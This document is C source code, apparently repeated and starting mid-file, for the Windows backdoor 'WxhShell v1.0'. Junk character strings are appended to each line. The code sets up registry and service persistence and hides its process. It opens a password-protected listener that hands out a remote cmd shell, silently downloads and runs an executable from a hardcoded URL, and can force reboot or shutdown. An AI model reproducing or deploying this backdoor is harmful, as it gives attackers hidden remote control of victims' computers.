  case 'd': { 2bmppDk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bmLNR  
    if(Boot(SHUTDOWN)) 5:wf"3%%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `XQ5>c  
    else { "q8wEu,z[  
    closesocket(wsh); \c)XN<HH  
    ExitThread(0); `{%*DHa  
    } SWt"QqBU  
    break; %{Gqhb=u\  
    } +t f=  
  // 获取shell !jm a --  
  case 's': { w jF\>  
    CmdShell(wsh); 7^1ikmYY  
    closesocket(wsh); =g ]C9'I3  
    ExitThread(0); v|e>zm <  
    break; U w)1yzX  
  } Z'E@sc 9  
  // 退出 "F^EfpcJ{9  
  case 'x': { +=O:z *O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _Uq'eZol  
    CloseIt(wsh); _+U`afV  
    break; *+G K ?Ga  
    } cWi2Sls  
  // 离开 7W*OyH^  
  case 'q': { }v:h EMO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $8s&=OW  
    closesocket(wsh); WrV|<%EQh  
    WSACleanup(); *oF{ R^  
    exit(1); !vU[V,~  
    break; |:AjQ&PM)  
        } =y<Fz*aA  
  } @`T6\ 1  
  } ,{%[/#~6  
%V$^CWOy  
  // 提示信息 &CS=*)>$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Q)+Y&qn  
} XjV7Ew^7  
  } NIgt"o[I  
N7NK1<vw2  
  return; :%0Z  
} Fax73vl|^a  
%c&h:7);  
// shell模块句柄 , vR4x:W  
int CmdShell(SOCKET sock) qRr;&M &t_  
{ % $J^dF_0  
STARTUPINFO si; Z$q}y 79^  
ZeroMemory(&si,sizeof(si)); R_-.:n%.z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {P*RA'H3G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CkOd>Kn  
PROCESS_INFORMATION ProcessInfo; Y,+$vj:y8  
char cmdline[]="cmd"; rtPQ:CaA)?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F: \CDM=lS  
  return 0; rT x]%{  
} H#f FU  
DCHU=r  
// 自身启动模式 kw!! 5U;7  
int StartFromService(void) Tfj%Sb,zM  
{ (*#S%4(YX  
typedef struct PJ);d>tz  
{ d !>PqPo  
  DWORD ExitStatus; q$\KE4v"  
  DWORD PebBaseAddress; 1Ztoj}!I  
  DWORD AffinityMask; Mq-;sPsFP  
  DWORD BasePriority; u-8,9  
  ULONG UniqueProcessId; \h:$q E7  
  ULONG InheritedFromUniqueProcessId; t1D6#JP(a  
}   PROCESS_BASIC_INFORMATION; "wdC/  
6L8wsz CW  
PROCNTQSIP NtQueryInformationProcess; Ty7x jIs  
}LOAT$]XI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W<\KRF$S;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H>2)R 7h  
wPyfne?~,  
  HANDLE             hProcess; 2|m461   
  PROCESS_BASIC_INFORMATION pbi; BjSLbw-C  
}DoNp[`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {ymD.vf=9+  
  if(NULL == hInst ) return 0; m#ID%[hg$  
7V?TLGgd$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wgY: W:y'N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jruwdm^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y'0H2B8  
%A%^;3@  
  if (!NtQueryInformationProcess) return 0; Ubv<3syR'  
 `i;f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |BN^5m qP6  
  if(!hProcess) return 0; )ui]vS:>  
5*C#~gd& F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C`Zz\DNG@  
"|`euxYV  
  CloseHandle(hProcess); '_>8_  
741Sd8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wX[g\,?}'  
if(hProcess==NULL) return 0; 3,t3\`=  
"=@X>jUc  
HMODULE hMod; @X5F$=aqZr  
char procName[255]; ,#m:U5#h  
unsigned long cbNeeded; R `  
].w~FUa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  b"iPuN!p  
/6QwV->  
  CloseHandle(hProcess); lk;4l Z  
5o2w)<d!  
if(strstr(procName,"services")) return 1; // 以服务启动 Yv>kToa\^  
it77x3Mm F  
  return 0; // 注册表启动 opqY@>Vh&  
} ebfT%_N  
vY)5<z&  
// 主模块 lub_2Cb|j  
int StartWxhshell(LPSTR lpCmdLine) qjDt6B^RO  
{ fRh}n ^X  
  SOCKET wsl; t\S=u y  
BOOL val=TRUE; :8=7)cW  
  int port=0; Y].,}}9k  
  struct sockaddr_in door; y!eT>4Oyg  
Q,v/]bXd  
  if(wscfg.ws_autoins) Install(); H< 51dJn~  
3n_N^q}  
port=atoi(lpCmdLine); P8[rp   
z>lIZ}  
if(port<=0) port=wscfg.ws_port; O pavno%&  
SR_<3WW  
  WSADATA data; ?te~[_oT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s k_TKN`+  
p?-qlPl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *\gYs{,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i/|}#yw8A  
  door.sin_family = AF_INET; @k+ K_gR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ghU~H4[xD  
  door.sin_port = htons(port); "o)jB~ :L  
~)CGwST[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zz/ z7~{  
closesocket(wsl); ghGpi U$  
return 1; }i$ER,hXh  
} fj|X`,TiZ;  
+R"Y~ m{F  
  if(listen(wsl,2) == INVALID_SOCKET) { 4ibOVBG:*,  
closesocket(wsl); 8B! MgNKV  
return 1; []:&WA 9N  
} mR O@ZY;5  
  Wxhshell(wsl); HjCe/J ;  
  WSACleanup(); G ,e!!J  
u+ b `aB  
return 0; @)XR  
go9tvK  
} U3u j`Oq  
XFSHl[uS1  
// 以NT服务方式启动 Pj8W]SA_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @d|3c7` A  
{ DGbEQiX$\  
DWORD   status = 0; ~jJF&*)  
  DWORD   specificError = 0xfffffff; >N~orSw%  
m*|G 2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #(}'G*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <!=:{&d%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '>cZ7:  
  serviceStatus.dwWin32ExitCode     = 0; [}I|tb>Pg  
  serviceStatus.dwServiceSpecificExitCode = 0; +#L'g c  
  serviceStatus.dwCheckPoint       = 0; $px1D$F!  
  serviceStatus.dwWaitHint       = 0; Qe =8x7oIP  
CC)Mws+2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V%'' GF   
  if (hServiceStatusHandle==0) return; ''($E /  
;#L]7ZY9:-  
status = GetLastError(); :}-VLp4b  
  if (status!=NO_ERROR) &PPYxg<  
{ ;o158H$gz;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &z05h<]  
    serviceStatus.dwCheckPoint       = 0; JmC2buO  
    serviceStatus.dwWaitHint       = 0; uuQsK. S  
    serviceStatus.dwWin32ExitCode     = status; YpgO]\/w  
    serviceStatus.dwServiceSpecificExitCode = specificError; *B)10R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [0D.+("EW  
    return; %Z8wUG  
  } Ap~6Vu  
@^%YOorr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FqZD'Uu7  
  serviceStatus.dwCheckPoint       = 0; a4XK.[O  
  serviceStatus.dwWaitHint       = 0; =zR9^k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gd`s01GKQ  
} ~x[(1  
kzVK%[/  
// 处理NT服务事件,比如:启动、停止 /IlO   
VOID WINAPI NTServiceHandler(DWORD fdwControl) .l,]yWwfK  
{ -Un"z6*  
switch(fdwControl) ?69E_E  
{ "pO** z$Z  
case SERVICE_CONTROL_STOP: {mY=LaS<  
  serviceStatus.dwWin32ExitCode = 0; Tv `&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cfPp>EK  
  serviceStatus.dwCheckPoint   = 0; v|dt[>G  
  serviceStatus.dwWaitHint     = 0; {8 &=t8,c  
  { WD5jO9Oai  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qb7&S5m  
  } _$/Bt?h  
  return; fymmA faR  
case SERVICE_CONTROL_PAUSE: VR'zm\< D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C)~%(< D  
  break; (,tL(:c  
case SERVICE_CONTROL_CONTINUE: Y5y7ONcn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  4&%E?_M  
  break; RRro.r,  
case SERVICE_CONTROL_INTERROGATE: <nK@+4EH"o  
  break; VtMnLF Mw  
}; 7q:;3;"9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )LNKJe+  
} :UX8^+bfZ  
@V&HE:P  
// 标准应用程序主函数 M,cz7,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )NTpb  
{ ]bbP_n8  
%TO&  
// 获取操作系统版本 }S4+1 U3  
OsIsNt=GetOsVer(); ,Xg^rV~]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7#N ?{3i  
b!`6s  
  // 从命令行安装 a@AIv"q  
  if(strpbrk(lpCmdLine,"iI")) Install(); <dAxB$16sT  
'e6J&X  
  // 下载执行文件 /8u}VYE  
if(wscfg.ws_downexe) { 7jr+jNsowj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ztAC3,r]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ].Ra=^q  
} I}|E_U1Qj  
sLzZ}u?(  
if(!OsIsNt) { $@w ,9J\  
// 如果时win9x,隐藏进程并且设置为注册表启动 s){VU2.ra  
HideProc(); m|;gl|dTB  
StartWxhshell(lpCmdLine); I,aaSBwt&2  
} A'"J'q*t  
else gQ|?~hYYv  
  if(StartFromService()) q"WfKz!U  
  // 以服务方式启动 P)~olrf  
  StartServiceCtrlDispatcher(DispatchTable); o=PW)37>  
else Hn/V*RzQ  
  // 普通方式启动 =L;g:hc<  
  StartWxhshell(lpCmdLine); k^#*x2b  
9j}Q~v\  
return 0; E_P,>f  
} :*R+ee,& -  
A;e"_$yt8  
,#9i=gp  
#Fgybokm  
=========================================== 6BZi4:PDx  
O7od2fV(i7  
T hVq5  
u Tdz$Nh  
2_Zn?#G8dl  
:OqEkh"$#  
" + (`.pa z@  
.x}xa  
#include <stdio.h> U.=TjCW  
#include <string.h> kX*.BZI}C  
#include <windows.h> bU}l*"  
#include <winsock2.h> i&<@}:,  
#include <winsvc.h> Yf1%7+V35  
#include <urlmon.h> !u/c'ZLZ>  
Cd_H<8__  
#pragma comment (lib, "Ws2_32.lib") J/rF4=j%xy  
#pragma comment (lib, "urlmon.lib") X@/wsW(kM\  
@udc/J$  
#define MAX_USER   100 // 最大客户端连接数 _^$F^}{&  
#define BUF_SOCK   200 // sock buffer gQeoCBCE  
#define KEY_BUFF   255 // 输入 buffer x4`|[  
T?1e&H%USV  
#define REBOOT     0   // 重启 [vnxp/v/<  
#define SHUTDOWN   1   // 关机 $dKo}  
&x@N5j5Q  
#define DEF_PORT   5000 // 监听端口 82 1 6_Qm  
L9l]0C37e  
#define REG_LEN     16   // 注册表键长度 I]Z"?T  
#define SVC_LEN     80   // NT服务名长度 rT;_"y}  
eMP0BS"  
// 从dll定义API nFefDdP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \.F|c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yATXN>]l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WpkCFp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^~3{n  
/1hcw|cfC  
// wxhshell配置信息 y#nyH0U  
struct WSCFG { |9)y<}c5oM  
  int ws_port;         // 监听端口 ~`0=-Qkd  
  char ws_passstr[REG_LEN]; // 口令 D e$K  
  int ws_autoins;       // 安装标记, 1=yes 0=no #-PUm0|  
  char ws_regname[REG_LEN]; // 注册表键名 o%h[o9i  
  char ws_svcname[REG_LEN]; // 服务名 #*  8^ar<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h0l_9uI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ciN*gwI)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .]; `  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i}C%`1+(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =05jjR1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l i%8X.  
3IoN.  
}; fh&Q(:ZU  
c}2"X,  
// default Wxhshell configuration |+1k7S  ,  
struct WSCFG wscfg={DEF_PORT, ?u{D-by%&  
    "xuhuanlingzhe", 0}\8,U  
    1, ~tB9kLFG  
    "Wxhshell", .Txwp?};  
    "Wxhshell", ka:wD?>1i  
            "WxhShell Service", D Z=OZ.v  
    "Wrsky Windows CmdShell Service", $o*p#LU  
    "Please Input Your Password: ", |(5|6r3  
  1, 0fa8.g#I$  
  "http://www.wrsky.com/wxhshell.exe", ?9z1'6  
  "Wxhshell.exe" XE;aJ'kt  
    }; +F^X1  
px^brzLQo  
// 消息定义模块 eS2VLVxu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A$]#f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]iaQD _'\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *35o$P46  
char *msg_ws_ext="\n\rExit."; bE"J&;|  
char *msg_ws_end="\n\rQuit."; <-!' V,c  
char *msg_ws_boot="\n\rReboot..."; O9:J ^g  
char *msg_ws_poff="\n\rShutdown..."; -raZ6?Zjc  
char *msg_ws_down="\n\rSave to "; 1 <wolTf  
R)9FXz$).  
char *msg_ws_err="\n\rErr!"; n s&(g^  
char *msg_ws_ok="\n\rOK!"; dkOERVRe  
 83:qIfF  
char ExeFile[MAX_PATH]; 4cAx9bqA  
int nUser = 0; Y= ^o {C6  
HANDLE handles[MAX_USER]; l4q7,%G  
int OsIsNt; mCEWp  
+9_E+H'?!  
SERVICE_STATUS       serviceStatus; V(n3W=#kky  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '59l.  
&sS]h|2Z5  
// 函数声明 A Zv| |8p  
int Install(void); Jry643K>:;  
int Uninstall(void); L9 H.DNA  
int DownloadFile(char *sURL, SOCKET wsh); |( R[5q  
int Boot(int flag); #pX+~ {  
void HideProc(void); r A9Rz^;xa  
int GetOsVer(void); J i:0J},m  
int Wxhshell(SOCKET wsl); Redxg.P  
void TalkWithClient(void *cs); +,bgOq\aG  
int CmdShell(SOCKET sock); 8hvh xp  
int StartFromService(void); :n(!,  
int StartWxhshell(LPSTR lpCmdLine); g?!;04  
7:&a,nU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZQrgYeQl"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3S1`av(tD  
`jCq`-.  
// 数据结构和表定义 kA&ul  
SERVICE_TABLE_ENTRY DispatchTable[] = &bS!>_9  
{ }ilX 2s?>  
{wscfg.ws_svcname, NTServiceMain}, Vq#_/23=$y  
{NULL, NULL} 8_ _C T  
}; Gh9dv|m=[;  
7j%sM&  
// 自我安装 9i#K{CkC|  
int Install(void) 7$I *ju_  
{ >.#tNFAs  
  char svExeFile[MAX_PATH]; FI(M 1iJ  
  HKEY key; ` G.:G/b%H  
  strcpy(svExeFile,ExeFile); =6+j Po{F  
_k.gVm  
// 如果是win9x系统,修改注册表设为自启动 wenJ(0L|  
if(!OsIsNt) { +)K yG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8rsv8OO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9<I;9.1S?^  
  RegCloseKey(key); <x2 F5$@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9 8eS f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <0I=XsE1iX  
  RegCloseKey(key); )d-{#  
  return 0; E.~~.2   
    } T?E[LzZg  
  } Sf0[^"7  
} XG}pp`{o  
else { ~j2=hkS  
yw)Ztg)  
// 如果是NT以上系统,安装为系统服务 abM4G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LlG~aGhel  
if (schSCManager!=0) /q8?xP.   
{ h8_~ OX  
  SC_HANDLE schService = CreateService }~28UXb23  
  ( gJ>HFid_C  
  schSCManager, &vp0zYd+v  
  wscfg.ws_svcname, #FV(a~  
  wscfg.ws_svcdisp, DweWFipyPi  
  SERVICE_ALL_ACCESS, ba   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XL7jUi_4:L  
  SERVICE_AUTO_START, ;"/ "  
  SERVICE_ERROR_NORMAL, 5K*-)F ]  
  svExeFile, bz? *#S  
  NULL, S[ ,r .+  
  NULL, cIgicp}U  
  NULL, 8Cr?0Z  
  NULL, dj76YK  
  NULL Up$vBE8i]  
  ); G{ $Zg  
  if (schService!=0) uv[e0,@  
  { }?Y+GT"E  
  CloseServiceHandle(schService); $V8B =k~  
  CloseServiceHandle(schSCManager); ? I}T[j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?D6rFUs9;  
  strcat(svExeFile,wscfg.ws_svcname); '4A8\&lQO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9D_4]'KG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q'^]lVY  
  RegCloseKey(key); O"mU#3?  
  return 0; 5aTyM_x  
    } f:TC;K  
  } n.y72-&v  
  CloseServiceHandle(schSCManager); mlgdwM  
} viBf" .  
} XI,F^K  
um&e.V)N  
return 1; ~4*9w3t   
} $hO8 S=  
H2RNekck  
// 自我卸载 ? xX`_l  
int Uninstall(void) s/Wg^(&M  
{ k>n^QHM  
  HKEY key; zT~ GBC-IX  
t Q_}o[  
if(!OsIsNt) { 7w{`f)~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | _~BV&g,N  
  RegDeleteValue(key,wscfg.ws_regname); fp4d?3G  
  RegCloseKey(key); sa+:c{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BoIe<{X(9  
  RegDeleteValue(key,wscfg.ws_regname); e= "/oo  
  RegCloseKey(key); V|HSIJ#J  
  return 0; b)w3 G%Xx  
  } xyz-T1ib  
} 4 '9h^C&  
} :N)7SYQT  
else { =$Q3!bJ  
`U`Z9q5-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7qXgHrr0|U  
if (schSCManager!=0) rmQGzQnun  
{ %v~j10e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZVIBmx  
  if (schService!=0) o ohf))  
  { :@b>,{*4zS  
  if(DeleteService(schService)!=0) {  V|?  
  CloseServiceHandle(schService); >Q5E0 !]  
  CloseServiceHandle(schSCManager); "TjR]jnV(  
  return 0; NK#Dq&W+&  
  } 3+ i(fg_  
  CloseServiceHandle(schService); //Tr=!TQu  
  } ^QW%< X  
  CloseServiceHandle(schSCManager); [S</QS!  
} 6u:5]e8  
} 1NOz $fW  
NKd@ Kp`,  
return 1; oHi&Z$#!n  
} q9WSQ$:z8  
g\ *gHHa  
// 从指定url下载文件 Va*Uwy?x/)  
int DownloadFile(char *sURL, SOCKET wsh) 6/#= dv  
{ dqKTF_+VhA  
  HRESULT hr; Y?%6af+  
char seps[]= "/"; {8B\-LUR  
char *token; 5E!|-xD  
char *file; b$Uwj<v  
char myURL[MAX_PATH]; 0U/:Tpyr  
char myFILE[MAX_PATH]; 1;:2=8  
Cq(Xa-  
strcpy(myURL,sURL); .PAkW2\#  
  token=strtok(myURL,seps); RXWjFv~/  
  while(token!=NULL) HWefuj  
  { Le3S;SY&  
    file=token; [#9ij3vxd  
  token=strtok(NULL,seps); )Y *?VqZn  
  } v"F0$c  
'}rDmt~  
GetCurrentDirectory(MAX_PATH,myFILE); J<`RlDI  
strcat(myFILE, "\\"); zA"D0fr  
strcat(myFILE, file); A|>C3S  
  send(wsh,myFILE,strlen(myFILE),0); q]r!5&Z  
send(wsh,"...",3,0); =AKW(v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \W( p)M  
  if(hr==S_OK) f$ Ap\(.  
return 0; ?&GMp[  
else ynDx'Q*N'  
return 1; 3tm z2JIb  
wl{p,[]  
} Sm Ei _u]'  
q!H 3JL  
// 系统电源模块 O\D({>  
int Boot(int flag) j qdI=!H  
{ c^6`"\X^g  
  HANDLE hToken; \YKh'|04  
  TOKEN_PRIVILEGES tkp; 0}^-, Q,  
eY(usK  
  if(OsIsNt) { v:HgpZo+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `Eu(r]:W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I?Zs|A  
    tkp.PrivilegeCount = 1; kK1qFe?]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qA~D*=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LQh\j|e9  
if(flag==REBOOT) { r2](~&i2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) - dOT/%Ux  
  return 0; !}P FiT^  
} z67=v9+7  
else { \G=E%aK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _5K_YhT  
  return 0; /SUV'J)  
} ~c="<xBE  
  } b "Mq7&cf  
  else { ~`})x(!  
if(flag==REBOOT) { wrO>#`Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4y1> !~f  
  return 0; .#:,j1L"53  
} kdUGmR0d  
else { pNqf2CnnT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  hY1|qp  
  return 0; 0o<q Eo^  
} a`-hLX)~Z  
} HEuM"2{DMM  
,Mhe:^3  
return 1; VBX# !K1Q  
} ii;WmE&  
da2[   
// win9x进程隐藏模块 ZmULy;{<)  
void HideProc(void) baNfS  
{ 7RP_ ^Cr+  
)R^Cqo'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z0=m:h  
  if ( hKernel != NULL ) YSV,q@I&1  
  { B (1,Rq[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aVP|:OAj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N4To#Q1w  
    FreeLibrary(hKernel); tqQ0lv^J  
  } ~& 5&s  
&Bn; Vi  
return; CJ?gjV6  
} ^2r}_ AX  
\B2d(=~4  
// 获取操作系统版本 ,z1!~gIal  
int GetOsVer(void) m I zBK]@^  
{ V./w06;0  
  OSVERSIONINFO winfo; be:phS4vz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YC]YX H  
  GetVersionEx(&winfo); DLYZsWA,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^Q=y^fx1  
  return 1; _g 4 /%  
  else !/}FPM_  
  return 0; AD@PNM  
} ?4ILl>*  
_GO+fB/Q1  
// 客户端句柄模块 -(w~LT$ "  
int Wxhshell(SOCKET wsl) 9"aFS=><  
{ q{GSsDo-:V  
  SOCKET wsh; yK077zH_  
  struct sockaddr_in client; z9 w&uZzi  
  DWORD myID; U+;>S$  
}{8Fo4/  
  while(nUser<MAX_USER) 5$oewjLO  
{ ChTXvkdH  
  int nSize=sizeof(client); Blbq3y+Sq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u5Ny=Xm  
  if(wsh==INVALID_SOCKET) return 1; JT|u;Z*n  
14D 7U/zer  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o}=.  
if(handles[nUser]==0) :B=8_M  
  closesocket(wsh); CofH}-  
else g(<T u^F  
  nUser++; 23-t$y]  
  } rQEi/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <'[Ku;m  
!\0F.*   
  return 0; BMNr<P2li  
} _(6`{PWY  
7':f_]  
// 关闭 socket %5h^`lp  
void CloseIt(SOCKET wsh) 8lOI\-  
{ pDq#8*q+v  
closesocket(wsh); PXosFz~  
nUser--; B:-U`CHHQ  
ExitThread(0); 2vc\=  
} Kej|1g1f  
!7*(!as  
// 客户端请求句柄 0||"r&:X  
void TalkWithClient(void *cs) 8geek$FY x  
{ _1sMYhI  
dk_,YU'z  
  SOCKET wsh=(SOCKET)cs; !:"-:O}>=,  
  char pwd[SVC_LEN]; [q-;/ed  
  char cmd[KEY_BUFF]; `l/:NF  
char chr[1]; u#+RUtM  
int i,j; XDk'2ycv  
Xsd $*F@<  
  while (nUser < MAX_USER) { F>dwLbnb  
l"J*)P  
if(wscfg.ws_passstr) { W]]q=c%2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2{ o0@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yo'9x s  
  //ZeroMemory(pwd,KEY_BUFF); X9fNGM1  
      i=0; bD35JG^&i  
  while(i<SVC_LEN) { V+lRi"m?|  
4xm&pQo{V6  
  // 设置超时 iJdP>x  
  fd_set FdRead; <jeh`g  
  struct timeval TimeOut; b5j*xZv  
  FD_ZERO(&FdRead); s^w\zzYb  
  FD_SET(wsh,&FdRead); Q|Pbt(44  
  TimeOut.tv_sec=8; vsKl#R B  
  TimeOut.tv_usec=0; BhKO_wQ?:J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H]s4% 9T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W`$[j0  
G0}Dq M Ti  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dg~ [#C-  
  pwd=chr[0]; y%4 Gp  
  if(chr[0]==0xd || chr[0]==0xa) {  tPA:_  
  pwd=0; Z>F@n Tzb>  
  break; x;u~NKy  
  } A 4j<\xL  
  i++;  c/ _yMN  
    } .Gh%p`<  
Gn59 yG!4  
  // 如果是非法用户,关闭 socket ~%s}S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W,3zL.qH"  
} +Hj/0pp  
XLm@etf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iK!dr1:wSw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b3\B8:XFo|  
1Bg_FPu  
while(1) { UfR~%p>K  
xuU x4,Z  
  ZeroMemory(cmd,KEY_BUFF); [ ?iqqG.  
aG! *WHt  
      // 自动支持客户端 telnet标准   @9 )}cg  
  j=0; M)JADX  
  while(j<KEY_BUFF) { G2]^F Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ne4c %?>t  
  cmd[j]=chr[0]; R"+wih  
  if(chr[0]==0xa || chr[0]==0xd) { QU/fT_ORw  
  cmd[j]=0; tz4 ]hF  
  break; #~k[6YR 0  
  } 5 y   
  j++; Q[PK`*2)  
    } ZenPw1-  
Oz{%k#X-  
  // 下载文件 d~@q%-`lA  
  if(strstr(cmd,"http://")) { d(7NO;S8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0xCz'mJ  
  if(DownloadFile(cmd,wsh)) ^Kqf ~yS%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b5pMq$UVL  
  else 5G(E&>~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !msNEE@[  
  } 5HKW"=5Cf  
